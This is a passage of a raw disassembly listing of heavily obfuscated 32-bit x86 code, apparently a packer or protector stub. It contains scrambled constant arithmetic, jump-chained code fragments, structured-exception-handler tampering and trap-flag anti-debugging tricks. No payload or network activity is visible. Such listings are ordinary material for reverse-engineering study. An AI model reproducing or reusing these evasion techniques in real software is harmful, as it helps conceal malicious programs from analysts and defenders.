SIZE 0000000B BYTES push dword ptr fs:0 mov fs:0, esp pushf jmp loc_437D94 sub_43C50C endp ; --------------------------------------------------------------------------- dw 45E8h dd 0E9FFFFC0h, 0FFFFDAD7h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C52A: ; CODE XREF: sub_439ED1:loc_43B8E5j and esi, 0D94E7AAFh sub esi, 0FAF1A4BAh xor esi, 9D1475D4h add ecx, esi pop esi mov [ecx], eax jmp loc_43E0FA ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43C547: ; CODE XREF: _802izwe5:loc_43CBAEj jnz near ptr dword_437548+9Fh add cl, ch outsb adc [eax], al ; --------------------------------------------------------------------------- dw 0 dd 0B400C081h, 0CB3335B0h, 0FFB086E9h, 0C300FFh db 0 ; --------------------------------------------------------------------------- loc_43C565: ; CODE XREF: _802izwe5:0043F83Dj jmp loc_43D767 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43C56C: ; CODE XREF: sub_43C65A-172Aj jmp loc_43A1BF ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C571: ; CODE XREF: sub_439ED1-1A23j jmp loc_43EFA8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 2300h dd 30CFE9CDh, 8B000000h, 0FE803CDh, 0A8988h ; CODE XREF: _802izwe5:0043F628j db 0 byte_43C589 db 67h, 64h, 8Fh ; DATA XREF: _802izwe5:00439983o dd 87000006h, 81582404h, 0DF78FCC3h, 241C87EBh, 0FFE421E9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43C5A2: ; CODE XREF: _802izwe5:0043AF61j mov esi, edi pop edi sub esi, 0D77CE26Ch or esi, 184B8D56h add esi, 0B82F7BB8h sub esi, 15DC15A2h jmp loc_43CAD9 ; --------------------------------------------------------------------------- dw 5100h ; --------------------------------------------------------------------------- jmp loc_43A928 ; --------------------------------------------------------------------------- loc_43C5C9: ; CODE XREF: _802izwe5:0043B9FCj pop esi imul byte ptr [edx] cmp al, 0A4h jnz near ptr dword_43B1A0+43h jmp near ptr dword_43A328+8 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_4393E2 loc_43C5DA: ; CODE XREF: sub_4393E2+14j call sub_437E10 jmp near ptr dword_4389A0+2 ; END OF FUNCTION CHUNK FOR sub_4393E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43C5E4: ; CODE XREF: sub_43F18B-C07j jnz loc_43CB55 and eax, 72795796h rol ebp, 8 cmp edx, 0F4BCE076h jmp loc_43DC16 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- jo loc_43EA2F ; =============== S U B R O U T I N E ======================================= sub_43C604 proc near ; CODE XREF: sub_439ED1+1D3Ep ; FUNCTION CHUNK AT 0043B58F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E6EF SIZE 0000000A BYTES xchg ebx, [esp+0] xchg esi, [esp+0] mov ebx, esi pop esi push 0 jmp loc_43E6EF sub_43C604 endp ; --------------------------------------------------------------------------- dd 8902C600h, 8B243C87h, 0E3815FD7h, 778B7115h, 0C3F7h dd 0BBE90002h, 0FFFFC3h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C631: ; CODE XREF: sub_439ED1+736j jo loc_438541 push 4FBE1367h sub edx, 1CB470CAh loc_43C642: ; DATA XREF: sub_439ED1+1399o pop dword ptr fs:0 xchg eax, [esp-20h+arg_18] pop eax add eax, 0A8A8E825h loc_43C652: ; CODE XREF: sub_439ED1+A7Dj jmp loc_438352 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 adc ecx, esi ; =============== S U B R O U T I N E ======================================= sub_43C65A proc far ; CODE XREF: sub_43DB2C-5AE3p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0043733B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004376B3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004377EB SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00437C64 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00437CA7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00437F98 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004380EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004385E9 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004386FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438CAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438DAF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438E63 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00438E98 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004390E7 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043964A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043975C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439810 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043993F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439DAF SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00439E9C SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043AF02 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AF20 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043B0F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B16F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B69B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043B6C5 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0043B6E1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043BB32 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043BBA9 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043BD82 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BE5C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043BFA6 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043C44D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C56C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CA48 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043CAB0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CB6D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043CC2B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0043CF98 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043D1F0 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043D259 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043D398 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043D5BC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D704 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043D7C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DEC2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E1F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E216 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E367 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043E59F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043E642 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0043E6A6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043E8A7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043E97C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EABC SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0043EBEB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EC14 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EC9C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043F0D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F717 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043F7E0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043F80E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F863 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F91A SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xor edi, 0B6A6FB7Bh add edi, ebp jmp loc_43C97F ; --------------------------------------------------------------------------- align 4 retn ; --------------------------------------------------------------------------- align 2 jmp nullsub_55 ; --------------------------------------------------------------------------- db 8Bh dd 0C421E903h, 0FFFFh, 0D568CC8Bh, 0E90043DAh, 2009h, 0EB810000h dd 37DD6A18h, 0F18F681h, 0D3812A53h, 9C7435FDh, 0FFE25EE9h db 0FFh ; --------------------------------------------------------------------------- loc_43C6A1: ; CODE XREF: sub_439ED1-171p ; sub_43C65A+286j xchg esi, [esp+0] pop esi push ebx mov ebx, eax jmp loc_43993F ; --------------------------------------------------------------------------- align 2 dw 0C981h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 81h, 5, 0D7h dd 0AB94880Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43C6BA: ; CODE XREF: sub_439ED1+4933j jmp loc_43D704 ; --------------------------------------------------------------------------- align 10h loc_43C6C0: ; CODE XREF: _802izwe5:0043D785j jmp nullsub_54 ; --------------------------------------------------------------------------- add eax, edx popf jmp loc_43C83C ; --------------------------------------------------------------------------- align 2 loc_43C6CE: ; CODE XREF: sub_439ED1+1F5j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax push offset loc_43C929 jmp near ptr dword_438230+1Fh ; --------------------------------------------------------------------------- align 4 loc_43C6EC: ; CODE XREF: _802izwe5:004386F0j rol eax, 4 add eax, 8885D293h xchg eax, [esp+0] jmp loc_43B0F2 ; --------------------------------------------------------------------------- byte_43C6FD db 65h, 0CCh, 0E9h ; CODE XREF: sub_439ED1:loc_4373F3j dd 0B17h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43C706: ; CODE XREF: sub_439ED1+4DF5j mov [ecx], eax push offset dword_43CF24 jmp near ptr dword_43718C+4Ch ; --------------------------------------------------------------------------- loc_43C712: ; CODE XREF: _802izwe5:0043F97Cj push offset loc_43F277 jmp near ptr dword_4394D4+14h ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43C71D: ; CODE XREF: sub_43C65A:loc_43733Bj mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h jmp loc_43E216 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43C733: ; CODE XREF: sub_439ED1+4B70j push edi mov edi, ecx xchg edi, [esp+4+var_4] jmp loc_43975C ; --------------------------------------------------------------------------- align 10h locret_43C740: ; CODE XREF: _802izwe5:0043F339j retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43C743: ; CODE XREF: _802izwe5:0043B8C6j push offset dword_439368 jmp near ptr dword_437548+5Fh ; --------------------------------------------------------------------------- loc_43C74D: ; CODE XREF: sub_43D93F+3j xchg ecx, [esp+8+var_8] mov ebp, esp push esi mov esi, eax xchg esi, [esp+0] push ecx pop eax jmp loc_43B6E1 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_43C761: ; CODE XREF: sub_43EDF7+8j push ecx jmp loc_43F80E ; --------------------------------------------------------------------------- align 4 loc_43C768: ; CODE XREF: sub_439ED1-19ECj rol ebx, 19h and ebx, 5C37EA8Fh add ebx, 0A3FF00F2h or eax, ebx pop ebx jmp loc_439810 ; --------------------------------------------------------------------------- locret_43C77F: ; CODE XREF: sub_4383D9+8j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43C781: ; CODE XREF: sub_439ED1:loc_43CA83j mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 0A0h jmp loc_43AF02 ; --------------------------------------------------------------------------- loc_43C79E: ; CODE XREF: _802izwe5:0043F4EAj and eax, 7D25DBA6h rol eax, 8 sub eax, 113351C8h add eax, 10763024h jmp loc_43E6A6 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43C7B9: ; CODE XREF: _802izwe5:loc_43DE6Cj push ecx jmp loc_43DEC2 ; --------------------------------------------------------------------------- align 10h loc_43C7C0: ; CODE XREF: _802izwe5:00437DE9j rol ebx, 1Dh sub ebx, 0B0DADC68h and ebx, 0E6126401h xor ebx, 42002010h jmp loc_43F0D9 ; --------------------------------------------------------------------------- add ecx, 4 mov [ecx], eax push esi push 7EFADA33h pop esi or esi, 22C2E459h add esi, 0B0DE117Dh jmp loc_43D5BC ; --------------------------------------------------------------------------- dw 850Fh dd 0FFFFFD5Ah, 1955E9h, 51000000h, 0DA1E9h, 0C0330000h dd 0C359h ; --------------------------------------------------------------------------- loc_43C814: ; CODE XREF: sub_439ED1+38A9j push dword ptr fs:0 mov fs:0, esp jmp near ptr dword_437428+0D3h ; --------------------------------------------------------------------------- db 8Bh, 0DAh, 5Ah dd 17A4E8h, 0E9000000h, 2B5Fh, 0F2C2E900h, 0FFFFh ; --------------------------------------------------------------------------- loc_43C83C: ; CODE XREF: sub_43C65A+6Ej jnp locret_43D2B5 jmp near ptr dword_43718C+0C1h ; --------------------------------------------------------------------------- align 4 loc_43C848: ; CODE XREF: _802izwe5:0043EC8Ap call sub_43F088 loc_43C84D: ; CODE XREF: sub_439ED1+36C8j jmp loc_43AF20 ; --------------------------------------------------------------------------- align 4 dd 0FFAF71E9h db 0FFh ; --------------------------------------------------------------------------- locret_43C859: ; CODE XREF: _802izwe5:loc_43DF46j retn ; --------------------------------------------------------------------------- loc_43C85A: ; CODE XREF: sub_438A6Ep push dword ptr fs:0 mov fs:0, esp jmp loc_43D7C3 ; --------------------------------------------------------------------------- align 4 dd 7D8B0F00h, 85FFFFC5h, 0E026E9FEh db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43C87B: ; CODE XREF: sub_439ED1:loc_43B8AFj mov byte ptr [ecx], 1 pop ecx lodsb loc_43C880: ; DATA XREF: sub_439ED1+819o push ebp retn 0C2C1h ; --------------------------------------------------------------------------- add esi, [ecx] retn 0E8E9h ; --------------------------------------------------------------------------- align 4 dd 0D3E91F89h db 0B2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43C893: ; CODE XREF: _802izwe5:00438219j call sub_43D31A jmp loc_43BB32 ; --------------------------------------------------------------------------- align 2 loc_43C89E: ; CODE XREF: sub_43C65A-A99j mov [ecx], eax add ecx, 4 mov [ecx], eax push edx push 51493105h pop edx and edx, 0C21E8670h jmp loc_43F863 ; --------------------------------------------------------------------------- loc_43C8BA: ; CODE XREF: sub_43C65A:loc_43B16Fj mov edi, [edi] and [esp-0Ch+arg_4], edi call ds:dword_4270C0 ; ExitProcess jmp loc_43CB6D ; --------------------------------------------------------------------------- dw 8700h ; --------------------------------------------------------------------------- xor al, 24h mov ecx, esi pop esi jmp loc_439E9C ; --------------------------------------------------------------------------- align 4 loc_43C8D8: ; CODE XREF: _802izwe5:00438CF0j jo loc_43D079 not ebp jmp loc_43C6A1 ; --------------------------------------------------------------------------- aZBCdNH_C db 'œ‡ÙÊ–¤ÅnÁÂ',8,'h_ºC',0 dw 8BE9h dd 0FFFFB7h, 81CC8B00h, 10C1h, 0C7098B00h, 1001301h, 81C03300h dd 4C1h, 81018900h, 4C1h, 0B732E900h db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43C923: ; CODE XREF: sub_439ED1+423Ej push ecx jmp loc_439DAF ; --------------------------------------------------------------------------- loc_43C929: ; DATA XREF: sub_43C65A+86o add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax push edx push 169F303Fh pop edx jmp loc_43CF98 ; --------------------------------------------------------------------------- mov ebx, edi loc_43C947: ; CODE XREF: sub_439ED1:loc_4397FEj add edx, 0C69CA282h call near ptr sub_43B481 jmp loc_43E367 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43C959: ; CODE XREF: _802izwe5:0043C391j ; _802izwe5:0043F044p xchg edx, [esp+0] pop edx call sub_437E4F loc_43C962: ; DATA XREF: sub_439ED1:loc_43A75Eo add [edi-63A7DBFCh], al call sub_43BAEA add cl, ch sub [ecx], edx ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_43F7E0 ; --------------------------------------------------------------------------- loc_43C979: ; CODE XREF: sub_439ED1-1AC9j jmp loc_43F91A ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43C97F: ; CODE XREF: sub_43C65A+Cj push offset byte_43C29F jmp nullsub_1 sub_43C65A endp ; sp-analysis failed ; --------------------------------------------------------------------------- rol eax, 4 sub eax, 0D7875E08h push 4393A9h jmp locret_43EEED ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43C99E proc near ; DATA XREF: _802izwe5:00439BEBo ; FUNCTION CHUNK AT 0043DF4D SIZE 00000005 BYTES push ebx push 0B377EB3Dh pop ebx sub ebx, 261C6D53h loc_43C9AB: ; CODE XREF: _802izwe5:loc_43CFDDj or ebx, 4B62595h xor ebx, 0E29DB4F5h and ebx, 74457373h add ebx, 9C036F3Eh jmp loc_43DF4D sub_43C99E endp ; --------------------------------------------------------------------------- dd 24048700h, 0E858D88Bh, 11B4h, 0FFEDF1E9h, 58B0FFFh dd 0E9000003h, 0FFFFB53Eh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C9E5: ; CODE XREF: sub_439ED1:loc_43A40Bj push 0C2C75819h pop esi xor esi, 0C6D52F3Ah add esi, 30DD27EFh jmp near ptr loc_43AC19+1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dword_43C9FC dd 2AE9CC2Eh, 0FFFFF4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E40D loc_43CA05: ; CODE XREF: sub_43E40D+10j rol esi, 1Ch add esi, 0D0FEA01h jmp loc_43F511 ; END OF FUNCTION CHUNK FOR sub_43E40D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CA13: ; CODE XREF: sub_439ED1+E39j push ecx jmp near ptr dword_438BA4+0Dh ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- pop edi mov dword ptr [ecx], offset byte_43E959 xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43CA25 proc near ; CODE XREF: _802izwe5:0043E55Fp xchg eax, [esp+0] pop eax add ecx, 4 mov [ecx], eax add ecx, 4 jmp near ptr dword_437340+2Fh sub_43CA25 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C169 loc_43CA3D: ; CODE XREF: sub_43C169+1Cj push offset dword_43F0E0 jmp near ptr loc_43F0D7+1 ; END OF FUNCTION CHUNK FOR sub_43C169 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43CA48: ; CODE XREF: sub_43C65A:loc_43F863j xor edx, 40080004h add ecx, edx pop edx mov [ecx], eax add ecx, 4 jmp loc_43EC14 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CA63: ; CODE XREF: sub_439ED1+2ADj xor ebp, 8CA684D3h and ecx, 0B780771Dh loc_43CA6F: ; CODE XREF: sub_439ED1:loc_43A172j xor esi, 0D70BE5C5h push ebx mov ebx, 438F08h jmp loc_4379A9 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0, 0C3h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CA83: ; CODE XREF: sub_439ED1+4E6Fj jmp loc_43C781 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_43CA8A: ; CODE XREF: sub_43BE3C-2DBCj jmp loc_43AB8E ; END OF FUNCTION CHUNK FOR sub_43BE3C ; --------------------------------------------------------------------------- align 10h mov esi, 22988414h cmp esi, ecx jmp loc_43EE05 ; --------------------------------------------------------------------------- dd 241C8700h, 6853CB8Bh, 2AFDA087h, 0FFD148E9h db 0FFh ; --------------------------------------------------------------------------- locret_43CAAD: ; CODE XREF: _802izwe5:0043BF3Cj retn ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43CAB0: ; CODE XREF: sub_43C65A-3000j jmp loc_43E59F ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 2 dw 0C503h dd 0F3B0C081h, 8BF942h db 9Dh byte_43CAC1 db 78h, 0, 68h ; DATA XREF: sub_439ED1+7Ao dd offset dword_438640+1 dd 0FFB0ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_43CACD: ; CODE XREF: _802izwe5:0043CEFEj pushf jmp loc_43D970 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CAD5: ; CODE XREF: sub_439ED1+8B7j pop ecx retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- loc_43CAD9: ; CODE XREF: _802izwe5:0043C5BDj jmp loc_43D90D ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CADF: ; CODE XREF: sub_439ED1+1F09j jmp loc_43840D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43CAE5 proc near ; CODE XREF: sub_439ED1+139Fp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437F7D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043B837 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043BF37 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C503 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0043D9E6 SIZE 00000007 BYTES push dword ptr fs:0 mov fs:0, esp jmp loc_43BF37 sub_43CAE5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CAF6: ; CODE XREF: sub_439ED1-4CCj mov byte ptr [edx], 9Dh pop edx mov dword ptr [ebp-79h], 74656420h cmp [ebp-75h], eax arpl gs:[ebp-39h], si inc ebp ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 648Fh dd 57005B20h, 3C87F98Bh, 0D9DFE924h, 0FFFFh, 0C1810189h dd 4, 0C1810189h, 4, 0C1810189h, 4, 0EAE90189h, 0FFFFE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CB3D: ; CODE XREF: sub_439ED1:loc_43DC91j mov byte ptr [edi], 87h xchg ebx, [esp-1Ch+arg_14] mov edi, ebx pop ebx push esi mov esi, edx mov bh, 34h and al, 0E8h retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0FFDCh db 0FFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_43CB53: ; CODE XREF: _802izwe5:0043B2CAj not edx ; START OF FUNCTION CHUNK FOR sub_43F18B loc_43CB55: ; CODE XREF: sub_43F18B:loc_43C5E4j xchg edi, [esp-8+arg_4] loc_43CB58: ; CODE XREF: _802izwe5:00438A30j pop edi add ebx, ebp add ebx, 0ECC5FFD4h push offset byte_43BCF3 jmp loc_43BFD8 ; END OF FUNCTION CHUNK FOR sub_43F18B ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43CB6D: ; CODE XREF: _802izwe5:00439A7Fj ; sub_43C65A+26Bj jl loc_43D1F0 add [ebp-17h], dl db 65h push es ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_43CB7C: ; CODE XREF: _802izwe5:loc_43F23Cj xor edx, 17648319h add eax, edx pop edx mov eax, [eax] jmp loc_43AF8D ; --------------------------------------------------------------------------- dd 9E8D0F00h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43CB93: ; CODE XREF: _802izwe5:00437791j jmp loc_43979A ; --------------------------------------------------------------------------- dd 0FA230000h, 0E905EEC1h, 0FFFFEA8Dh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F688 loc_43CBA7: ; CODE XREF: sub_43F688+13j jmp loc_43DCED ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43CBAE: ; CODE XREF: _802izwe5:0043BABDj jmp loc_43C547 ; --------------------------------------------------------------------------- align 4 dd 7870F00h, 87FFFFA8h, 2C5E2434h, 96596899h, 0BF5708CFh dd 439AF5h, 91EE9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EEEF loc_43CBD1: ; CODE XREF: sub_43EEEF:loc_4386F9j add edi, 72A109D8h jmp loc_43A5BD ; END OF FUNCTION CHUNK FOR sub_43EEEF ; --------------------------------------------------------------------------- dd 0DF8B0000h, 0BF241C87h, 43EF23h, 0F19E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43CBEE: ; CODE XREF: _802izwe5:0043B087j jnz loc_43E575 loc_43CBF4: ; DATA XREF: _802izwe5:0043F203o pop dword ptr fs:0 xchg eax, [esp] pop eax pushf push 0DA94B2FFh xchg edi, [esp] jmp near ptr dword_437340+9Fh ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CC0D: ; CODE XREF: sub_439ED1-2823j xchg eax, [esp+8+var_8] or eax, 100h xchg eax, [esp+8+var_8] popf nop jmp loc_43CCA8 ; --------------------------------------------------------------------------- loc_43CC20: ; CODE XREF: sub_439ED1:loc_43F595j jnz near ptr sub_43B954 jmp near ptr dword_438F58+8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43CC2B: ; CODE XREF: sub_43C65A+1F54j and edi, 0EFCA4632h or edi, 614E87F9h add edi, 8E8BFA6Ah rol edi, 2 xor edi, 0DF6A092Dh add ecx, edi pop edi mov dword ptr [ecx], offset loc_43A09D jmp loc_43AB69 ; END OF FUNCTION CHUNK FOR sub_43C65A ; =============== S U B R O U T I N E ======================================= sub_43CC54 proc near ; CODE XREF: sub_43F688:loc_43DCF0p ; FUNCTION CHUNK AT 0043835D SIZE 0000000B BYTES xchg edi, [esp+0] pop edi dec dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 0 jmp loc_43835D sub_43CC54 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43CC65: ; CODE XREF: _802izwe5:loc_43EB81j xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43CC6B proc near ; CODE XREF: sub_43C65A-FBCp push dword ptr fs:0 mov fs:0, esp jmp near ptr dword_4379FC+9 sub_43CC6B endp ; --------------------------------------------------------------------------- dd 689C0000h, 50EB2709h, 8B243C87h, 0FAE95FC7h, 0FFFFFCh dd 3E9DE13h, 14h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D6F6 loc_43CC98: ; CODE XREF: sub_43D6F6:loc_43EBE6j mov esi, ecx xchg esi, [esp+0] push offset loc_439F3F jmp locret_43A2D3 ; END OF FUNCTION CHUNK FOR sub_43D6F6 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CCA8: ; CODE XREF: sub_439ED1+2D4Aj and eax, 0A01196B1h sbb edx, 0C5C55067h jmp loc_43F8B0 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 0F7h dd 0FBABE9D2h db 2 dup(0FFh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS KEYPAD "+" TO EXPAND] align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43CCC4: ; CODE XREF: sub_439ED1+729j pushf jmp near ptr loc_43EC0B+4 ; --------------------------------------------------------------------------- loc_43CCCA: ; CODE XREF: sub_439ED1:loc_43AA8Fj pop ebp push eax push 5D4F9262h pop eax jmp loc_43BC91 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; 